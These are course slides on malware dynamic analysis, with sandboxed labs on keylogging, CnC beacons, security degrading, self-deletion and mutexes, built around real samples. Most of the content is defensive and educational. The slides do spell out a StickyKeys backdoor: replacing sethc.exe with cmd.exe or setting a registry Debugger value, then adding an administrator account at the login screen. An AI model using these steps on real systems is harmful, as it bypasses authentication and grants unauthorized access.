

Malware Dynamic Analysis

Part 3

Veronica Kovah
vkovah.ost at gmail

All materials is licensed under a Creative Commons “Share Alike” license

<http://creativecommons.org/licenses/by-sa/3.0/>

You are free:



to **Share** — to copy, distribute and transmit the work



to **Remix** — to adapt the work

Under the following conditions:



Attribution — You must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work).



Share Alike — If you alter, transform, or build upon this work, you may distribute the resulting work only under the same, similar or a compatible license.

Outline

- Part 3
 - **Malware functionality**
 - **Keylogging, Phone home, Security degrading, Self-destruction, etc.**
- Part 4
 - Using an all-in-one sandbox – Cuckoo Sandbox
 - Malware Attribute Enumeration and Characterization (MAEC)
 - Actionable output
 - Detection – Snort and Yara

Malware's Goals

- Stealing sensitive information
 - Credentials
 - Documents
 - Communications
- Spread as much as possible for other goals
 - Spam, Distributed denial-of-service (DDOS)
- And more!

Malware Functionality (1)

- Concrete techniques to attain its goals
- Examples we will analyze via subsequent labs
 - Key logging
 - Phone Home
 - Beaconsing
 - Self-Avoidance
 - Security degrading
 - Simple stealth techniques (non-rootkit techniques)
 - Self-destruction
 - Hiding files

Malware Functionality (2)

- Other examples we will not get into
 - Screen capturing
 - Password dumping
 - Process, register, file enumeration
 - Encrypting files
 - Etc

Key Logging

- Credential and sensitive information theft
- Man in the middle
 - Inline/IAT/EAT hooks
 - IO Request Packet interception
 - Interrupt Descriptor Table hooks
- Legitimate event monitoring (Built in! So convenient! :D)
 - SetWindowsHookEx
 - GetAsyncKeyState
 - GetKeyState

See notes for citation

7

[References]

- Michael Sikorski et al., Practical Malware Analysis
- Greg Hoglund et al., Rootkits
- Bill Blunden, The Rootkit Arsenal: Escape and Evasion



Spot SetWindowsHookEx!

- We will search for the use of SetWindowsHookEx for password stealing
- Start Rohitab API monitor
 - Search for “SetWindowsHookEX” in the API Filter window
 - Select SetWindowsHookExA and SetWindowsHookExW
- Start magania/malware.exe



Spot SetWindowsHookEx!

- Q1. Which hook procedures are installed?
- Q2. Does malware.exe monitor key/mouse events?
- Q3. Which process is calling SetWindowsHookEx for password stealing?



Answers for Keylogger Lab

A1. WH_KEYBOARD (2), WH_GETMESSAGE(3)
and WH_MOUSE (7)

A2. No, SetWindowsHookEx in malware.exe is
used for DLL injection

A3. explorer.exe

Backdoor

- Allows an attacker entry to a compromised system
- To bypass authentication
 - e.g. StickyKeys
- To remotely access
 - Open a listening port
 - Attacker connects to → compromised machine
 - Can be easily blocked by firewall
 - Reverse shell
 - Compromised machine connects to → attacker



See notes for citation

11

[Image Sources]

- <http://media.ascendworks.com/wp-content/uploads/backdoor.jpeg>



StickyKeys



- MS Windows NT High Contrast Invocation
 - Utility to help disabled people
 - `C:/windows/system32/sethc.exe`
- Hit shift key 5 times on login screen
- Replace `sethc.exe` with another program such as `cmd.exe`
- If an attacker can RDP (Remote Desktop Protocol) to the compromised machine, s/he can bypass the authentication for GUI access

See notes for citation

12

[References]

- Windows Vista Vulnerable to StickyKeys Backdoor, <http://blogs.mcafee.com/mcafee-labs/windows-vista-vulnerable-to-stickykeys-backdoor>
- Ryan Kazanciyan, The "Hikit" Rootkit: Advanced and Persistent Attack Techniques (Part 1), <https://blog.mandiant.com/archives/3155>
- OmnipotentEntity, `sethc.exe` and Getting a SYSTEM Level Prompt Outside of Login, <http://www.nerdparadise.com/tech/windows/sethcsystemlevelprompt/>

[Image Sources]

- http://astoriedcareer.com/sticky_key.jpg



Bypassing authentication for fun and profit (1)

- We will add a new user at the login screen
- Two easy methods
 - Replace sethc.exe with cmd.exe
 - C: \> copy c:\windows\system32\cmd
c:\windows\system32\sethc.exe
 - HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options
 - Create a new key "sethc.exe"
 - Add a value "Debugger" with type REG_SZ
 - Set the value "Debugger's value to be
"c:\windows\system32\cmd.exe"



Bypassing authentication for fun and profit (2)

- Logout from the current session
- On the login screen, hit shift key 5 times
- Add new user with following commands
 - (replace USERNAME with a name you want)
 - net user USERNAME /add
 - net localgroup administrators /add USERNAME
- Then restart and login with the newly added user



Phone Home



- On the host machine
 - Start inetsim `$ sudo inetsim`
 - Start wireshark `$ wireshark &`
 - listen to vboxnet1 `Capture → Options... → vboxnet1 interface`
- On the victim VM
 - Start Darkshell/malware.exe
- What do you see?
- On the host machine
 - Stop wireshark capture `Capture → Stop`
 - Stop victim VM, inetsim



Phone Home



- On the host machine
 - Edit /etc/inetsim/inetsim.conf
http_bind_port 8080
 - Start inetsim \$ sudo inetsim
 - Start pcap capturing Capture → Start
- On the victim VM
 - Start Darkshell/malware.exe

Q1. What's the CnC server domain name?

Q2. Can you see the beacon traffic?

Q3. What do you see in the TCP payload?



Answers for Phone Home Lab

A1. artmeis.3232.org via port 8080

- Filter the traffic, `udp.port == 53`

A2. The malware keeps sending data to the CnC server

A3. Binary data, looks encrypted



Decryption

- Extract HTTP payload
 - On Wireshark, File → Export → Selected Packet Bytes
 - Save as /tmp/darkshell.bin
 - \$ hexdump -vC /tmp/darkshell.bin
- It requires static analysis to decrypt the payload
 - We will use a description module posted at <http://ddos.arbornetworks.com/2011/01/darkshell-a-ddos-bot-targetting-vendors-of-industrial-food-processing-equipment/>
- Decrypt the payload
 - \$ MalwareClass/tools/inhouse
 - \$ python darkshell_descript.py /tmp/darkshell.bin /tmp/decoded.bin
 - \$ hexdump -vC /tmp/decoded.bin

Phone Home Phormat

```
// Darkshell bot-to-CnC comms
struct {
    // Header:
    DWORD dwMagic; // always 0x00000010 for Darkshell
    // Obfuscated section:
    char szComputerName[64]; // Name of infected host, NULL-terminated/extended
    char szMemory[32]; // Amount of memory in infected host; format "%dMB"; NULL-
    terminated/extended
    char szWindowsVersion[32]; // Specifies version of Windows; one of: Windows98, Windows95,
    // WindowsNT, Windows2000, WindowsXP, Windows2003, or Win Vista;
    // NULL-terminated/extended
    char szBotVersion[32]; // Specifies version of bot; NULL-terminated/extended;
    DWORD szUnknown1[4]; // ??? - Always NULL-terminated 'n'
    // Binary section:
    char szPadding1[32]; // Filled with 0x00 bytes
    WORD wUnknown2; // ??? - We have seen 0x00A0, 0x00B0, and 0x00C0
    WORD wUnknown3; // ??? - Always 0xFD7F
    char szPadding2[20]; // Filled with 0x00 bytes
    WORD wUnknown4; // ??? - Always 0xB0FC
    BYTE cUnknown5; // ??? - We have seen 0xD6, 0xD7, 0xE6, 0xE7, and 0xF1
    BYTE cZero; // Always 0x00
    DWORD dwSignature[8]; // Always 0x00000000, 0xFFFFFFFF, 0x18EE907C, 0x008E917C,
    // 0xFFFFFFFF, 0xFA8D91&C, 0x25D6907C, 0xCFEA907C
};
http://ddos.arbornetworks.com/2011/01/darkshell-a-ddos-bot-targetting-vendors-of-industrial-
food-processing-equipment/
```

[References]

- Jeff Edwards, Darkshell: A DDoS bot targetting vendors of industrial food-processing equipment, <http://ddos.arbornetworks.com/2011/01/darkshell-a-ddos-bot-targetting-vendors-of-industrial-food-processing-equipment/>



DDoS Command

- Either via static analysis or via real server responses, you can figure out CnC commands (out of scope)
- On the host machine
 - Edit /etc/inetsim/inetsim.conf

```
http_bind_port      80
```
 - \$ cd MalwareClass/tools/inhouse
 - \$ python fake_server.py ./darkshell_server_response.bin
- On victim machine
 - Start Darkshell/malware.exe

Degrading Security

- Disable security products
 - Firewalls, Anti-virus
 - Exes for malware to kill
- Degrade security policy
 - Internet Explorer's zone related security settings
 - UAC (User Account Control) settings (since Vista)
- Disable Windows update
 - Registry change
 - Edit hosts file
 - C:\Windows\system32\drivers\etc\hosts



Spyeye

- Use regshot to find how spyeye/malware.exe is degrading security on the *victim* VM
- What did spyeye do?
 - Consult MSDN to find out the details
- Just for fun, do you see “encrypted” data? Can you decrypt it?



Answers for Spyeye Lab (1)

A1. Spyeye degraded Internet Explorer's security settings by adding and modifying various registry keys related to IE.

- Zones

Value	Setting
0	My Computer
1	Local Intranet Zone
2	Trusted sites Zone
3	Internet Zone
4	Restricted Sites Zone

See notes for citation

23

[References]

- MMPC Threat Report – EyeStye, <http://www.microsoft.com/en-us/download/details.aspx?id=30399>
- Internet Explorer security zones registry entries for advanced users, <http://support.microsoft.com/kb/182569>



Answers for Spyeye Lab (2)

- URL Action Flags

Value	Settings
1406	Miscellaneous: Access data sources across domains
1409	Cross site script filter
1609	Miscellaneous: Display mixed content *

- URL Policy Flags

Value	Settings
0	Allow the action to take place silently.
1	Prompt the user to determine if an action is allowed.
3	Do not allow the action

See notes for citation

24

[References]

- URL Action Flags, [http://msdn.microsoft.com/en-us/library/ms537178\(v=vs.85\).aspx](http://msdn.microsoft.com/en-us/library/ms537178(v=vs.85).aspx)
- URL Policy Flags, [http://msdn.microsoft.com/en-us/library/ms537179\(v=vs.85\).aspx](http://msdn.microsoft.com/en-us/library/ms537179(v=vs.85).aspx)



Answers for Spyeye Lab (3)

- Some additional info
 - UserAssist: Information about frequently opened files
 - Use Nirsoft's UserAssistView to see the data
 - MuiCache: When a new application is started, Windows stores the application name extracted from the file.

[References]

- UserAssistView v1.02, http://www.nirsoft.net/utis/userassist_view.html
- MUICacheView v1.01, http://www.nirsoft.net/utis/muicache_view.html



Conficker (1)

- Run conficker/malware.exe
- What do you see?
- Get a snapshot of the current Windows service states
 - C:\>cd c:\SysinternalSuite
 - C:\>PsService.exe > c:\temp\first.txt



Handling DLLs

- DLL cannot run by itself
- Use CFF Explorer to check exported functions
- Use RemoteDLL.exe
 - Inject MalwareClass/misc/hello.dll into iexplorer.exe
- What do you see?
- Use rundll32.exe
 - rundll32.exe <dllpath>, <export> [optional arguments]
 - Executable path: c:\windows\system32\rundll32.exe

See notes for citation

[References]

- RemoteDLL, <http://securityxploded.com/remotedll.php>



Conficker (2)

- To run conficker sample
 - rename it to malware.dll
- Run it with RemoteDLL.exe
- Run it with rundll32.exe
 - Change directory to conficker in the DOS prompt
 - C:\> c:\windows\system32\rundll32.exe
malware.dll,fakename
 - Note that “fakename” is a fake function name but rundll32.exe will still load the DLL, executing the DllMain()

See notes for citation

28

[References]

- Michael Ligh et al., Malware Analyst's Cookbook and DVD



Conficker (3)

- Get the second snapshot of the current Windows service states

```
C:\>PsServices.exe > c:\temp\second.txt
```

- Diff the two files

```
C:\>fc c:\temp\first.txt c:\temp\second.txt
```

- Well, this one does not give us enough information
- Use PSPad.exe (or any other GUI editor)
 - Open c:\temp\first.txt
 - Tools → Text Differences → Text Diff with This Files... → select c:\temp\second.txt

Q1. How did conficker degrade security?



Answers

A1. The following services have been stopped

- ERSvc (Error Reporting Service)
- wscsvc (Security Center)
- wuauerv (Automatic Updates)

Self-Destruction

- Malware esp. dropper often deletes itself after creating other files
 - Sometimes makes it hard to track down where the malware came from
- A primitive way of hiding, copy or move itself to somewhere else, usually “legitimate” looking name (e.g. Yahoo-Messenger.exe) or replace existing files (e.g. svchost.exe)



See notes for citation

31

[Image Sources]

- <http://www.techweekeurope.co.uk/wp-content/uploads/2012/05/phelpstape.jpg>



How did it delete itself?

- This lab will give you some freedom to figure out how two malware samples delete themselves

- Darkshell/malware.exe
- Hydraq/malware.exe

Q1. How did Darkshell malware delete itself?

Q2. How did Hydraq malware delete itself?

Q3. Which tool did you use?



Answers for Self-Destruction Lab

A1. DarkShell

- Invokes a process "cmd.exe /c del malware.exe"

A2. Hydraq

- Drops DFS.bat and then invokes it, causing it to delete the malware.exe and itself
- Let's get DFS.bat using CaptureBAT



Capturing deleted files

- Install Malware/tools/CaptureBATA-Setup-2.0.0-5574.exe – rebooting is required
- Run CaptureBAT
 - C:\> “c:\Program Files\Capture\CaptureBAT.exe” -c
- Execute Hydraq malware again
 - Deleted files will be copied to “c:\Program Files\Capture\log”



Hiding Files

- In this lab, we will find how IMworm hides its created files
- In my opinion, this is NOT considered as a rootkit technique
 - GMER does not catch the hidden files
- Use procmon and monitor file activities of IMworm/malware.exe
- How did malware hide its created files?
 - Hint: look events around when WriteFile operation events take place

File Attributes in procmon

```
FILE_ATTRIBUTE_READONLY,           _I("R"),
FILE_ATTRIBUTE_HIDDEN,             _I("H"),
FILE_ATTRIBUTE_SYSTEM,             _I("S"),
FILE_ATTRIBUTE_DIRECTORY,         _I("D"),
FILE_ATTRIBUTE_ARCHIVE,           _I("A"),
FILE_ATTRIBUTE_DEVICE,            _I("D"),
FILE_ATTRIBUTE_NORMAL,            _I("N"),
FILE_ATTRIBUTE_TEMPORARY,         _I("T"),
FILE_ATTRIBUTE_SPARSE_FILE,       _I("SF"),
FILE_ATTRIBUTE_REPARSE_POINT,     _I("RP"),
FILE_ATTRIBUTE_COMPRESSED,        _I("C"),
FILE_ATTRIBUTE_OFFLINE,           _I("O"),
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, _I("NCI"),
FILE_ATTRIBUTE_ENCRYPTED,          _I("E"),
FILE_ATTRIBUTE_VIRTUAL,           _I("V"),
```

<http://blogs.msdn.com/b/jmazner/archive/2010/05/27/decoding-the-fileattributes-field-in-processmonitor.aspx>

See notes for citation

36

[References]

- Jeremy M, Decoding the FileAttributes field in ProcessMonitor, <http://blogs.msdn.com/b/jmazner/archive/2010/05/27/decoding-the-fileattributes-field-in-processmonitor.aspx>



Change File Attributes

- To extract hidden files, you can simply change the attributes of hidden files
- Open an Explorer window and check if you can see lsass.exe either in c:\windows or in c:\windows\system
- Use DOS attrib command
c:\> attrib /?
c:\> attrib -H -S {path to the file}

[References]

- Microsoft DOS attrib command, <http://www.computerhope.com/attribhl.htm>

Self-Avoidance

- Malware often uses mutexes to avoid reinfecting a compromised machine.
- “A mutex object is a synchronization object whose state is set to signaled when it is not owned by any thread, and nonsignaled when it is owned”

[http://msdn.microsoft.com/en-us/library/windows/desktop/ms684266\(v=vs.85\).aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/ms684266(v=vs.85).aspx)

- A good indicator to write a detection signature

See notes for citation

38

[References]

- Mutex Objects (Windows), [http://msdn.microsoft.com/en-us/library/windows/desktop/ms684266\(v=vs.85\).aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/ms684266(v=vs.85).aspx)

BLANK...

- Left empty on purpose to maintain page numbering equivalent to the videos, which will be released soon.



Poison Ivy's Self-Avoidance

- `C:\> cd c:\SysinternalSuite`
- `C:\> handles.exe -a > c:\temp\before.txt`
- Run
MalwareClass/samples/PoisonIvy/piagent.exe
- `C:\> handles.exe -a c:\temp\after.txt`
- Use `pspad.exe` to diff the two files

Q1. Can you find a suspicious mutex, which process created it?



Other usage of mutexes

- C:\> cd c:\SysinternalSuite
 - C:\> handles.exe -a > c:\temp\before.txt
 - Run
MalwareClass/samples/eldorado/malware.exe
 - C:\> handles.exe -a c:\temp\after.txt
 - Use pspad.exe to diff the two files
- Q1. Can you find suspicious mutexes?
- Q2. What do you think they are for?

Anti-VM Techniques

- If malware detects virtual machine artifacts, it behaves differently or does not run at all
- Due to the popularity of virtual machines, less malware uses anti-VM techniques; important servers may run on a VM.
- Virtual machine specific artifacts
- Fundamental artifacts related to virtualization
 - e.g. Red Pill (sidt), No Pill (sgdt, sldt) for single processor

See notes for citation

42

[References]

- Joanna Rutkowska, http://www.ouah.org/Red_%20Pill.html
- Danny Quist et al., <http://www.offensivecomputing.net/files/active/0/vm.pdf>
- Mikael, prowling - NSM foo, <http://blog.prowling.nu/2012/08/modifying-virtualbox-settings-for.html>